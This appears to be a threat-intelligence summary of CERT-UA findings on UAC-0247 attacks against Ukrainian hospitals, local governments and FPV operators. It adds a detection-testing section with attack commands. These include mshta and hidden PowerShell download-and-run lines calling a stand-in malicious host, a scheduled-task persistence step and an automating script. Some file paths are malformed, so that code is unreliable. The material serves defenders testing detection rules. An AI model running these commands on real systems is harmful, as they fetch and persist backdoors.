UAC-0247 Targets Hospitals, Local Governments, and FPV Operators

Summary

Between March and April 2026, CERT-UA recorded a rise in cyberattacks against Ukrainian hospitals, municipal authorities, and FPV operator groups. The activity relies on phishing emails containing malicious HTA or HTML links that deliver custom loaders, the RAVENSHELL reverse shell, and the C#-based AGINGFLY remote access tool. Additional payloads include the SILENTLOOP PowerShell backdoor, the CHROMELEVATOR and ZAPIXDESK credential stealers, and the publicly available scanner RUSTSCAN. The attackers also use DLL sideloading, scheduled tasks, and a broad set of custom command-and-control infrastructure.

Investigation

CERT-UA reviewed dozens of incidents and extracted indicators of compromise, including malicious executables, scripts, scheduled tasks, IP addresses, and domains. The investigation uncovered a two-stage loader, a reverse TCP shell protected with XOR encryption, and a WebSocket-based C2 channel that relies on a static AES-CBC key. Analysts also documented the abuse of legitimate Windows utilities such as mshta.exe, powershell.exe, and wscript.exe to launch the malicious HTA files.

Mitigation

The report advises disabling the execution of LNK, HTA, and JavaScript files delivered through email, limiting the use of mshta.exe, powershell.exe, and wscript.exe, and enforcing application allow-listing. Defenders are also encouraged to monitor for suspicious scheduled task creation and outbound connections to the identified command-and-control servers.

Response

Security teams should promptly block the known malicious URLs and IP addresses, hunt for the listed file names and scheduled tasks across endpoints, and isolate compromised systems. Detection rules should be deployed for the observed command lines, with additional monitoring for AGINGFLY-related WebSocket traffic. Any accounts that may have been exposed should undergo immediate credential resets.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  An attacker has gained initial foothold on a compromised workstation. To maintain persistence and execute further payloads while evading traditional AV, the attacker:

  1. Uses mshta.exe to download and execute a malicious HTA file that contains a PowerShell one‑liner.
  2. The PowerShell one‑liner downloads a back‑door binary from a remote server and stores it in %TEMP%.
  3. Creates a scheduled task (schtasks /Create /SC MINUTE /MO 10) that runs the back‑door every ten minutes, ensuring continual execution even after reboot.

  The exact commands executed on the compromised host are:

  :: Step 1 – mshta download & launch
  mshta.exe "http://malicious.example.com/payload.hta"
  
  :: Step 2 – PowerShell embedded in the HTA (simulated here directly)
  powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden ^
    -Command "(New-Object System.Net.WebClient).DownloadFile('http://malicious.example.com/backdoor.exe',$env:TEMP+'backdoor.exe')"
  
  :: Step 3 – Scheduled task for persistence
  schtasks /Create /SC MINUTE /MO 10 /TN "Updater" /TR "%TEMP%backdoor.exe"

• Regression Test Script: The following PowerShell script automates the entire attack chain, reproducing the exact telemetry required for the rule to fire.

  #================================================================
  # Regression Test – Trigger Sigma Rule for mshta + PowerShell + schtasks
  #================================================================
  
  # 1. Define URLs and paths (use benign test servers in a lab)
  $htaUrl       = "http://127.0.0.1:8080/payload.hta"
  $payloadUrl   = "http://127.0.0.1:8080/backdoor.exe"
  $tempPath     = "$env:TEMPbackdoor.exe"
  $taskName     = "Updater"
  
  # 2. Simulate mshta execution (downloads the HTA – here we just call mshta)
  Write-Host "[*] Executing mshta.exe"
  Start-Process -FilePath "mshta.exe" -ArgumentList "`"$htaUrl`"" -NoNewWindow -Wait
  
  # 3. Execute PowerShell one‑liner to fetch the backdoor
  Write-Host "[*] Downloading backdoor via PowerShell"
  $psCmd = "(New-Object System.Net.WebClient).DownloadFile('$payloadUrl','$tempPath')"
  Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command `$psCmd`" -NoNewWindow -Wait
  
  # 4. Create scheduled task (10‑minute interval)
  Write-Host "[*] Creating scheduled task for persistence"
  $schtasksArgs = "/Create /SC MINUTE /MO 10 /TN `"$taskName`" /TR `"$tempPath`" /F"
  Start-Process -FilePath "schtasks.exe" -ArgumentList $schtasksArgs -NoNewWindow -Wait
  
  Write-Host "[+] Attack simulation completed. Check the SIEM for the alert."

• Cleanup Commands: After validation, remove the created artifacts to restore the host to a clean state.

  # Delete the scheduled task
  schtasks /Delete /TN "Updater" /F
  
  # Remove the backdoor binary
  Remove-Item -Path "$env:TEMPbackdoor.exe" -Force
  
  # (Optional) Delete any test HTA files if they were saved locally
  # Remove-Item -Path "$env:TEMPpayload.hta" -Force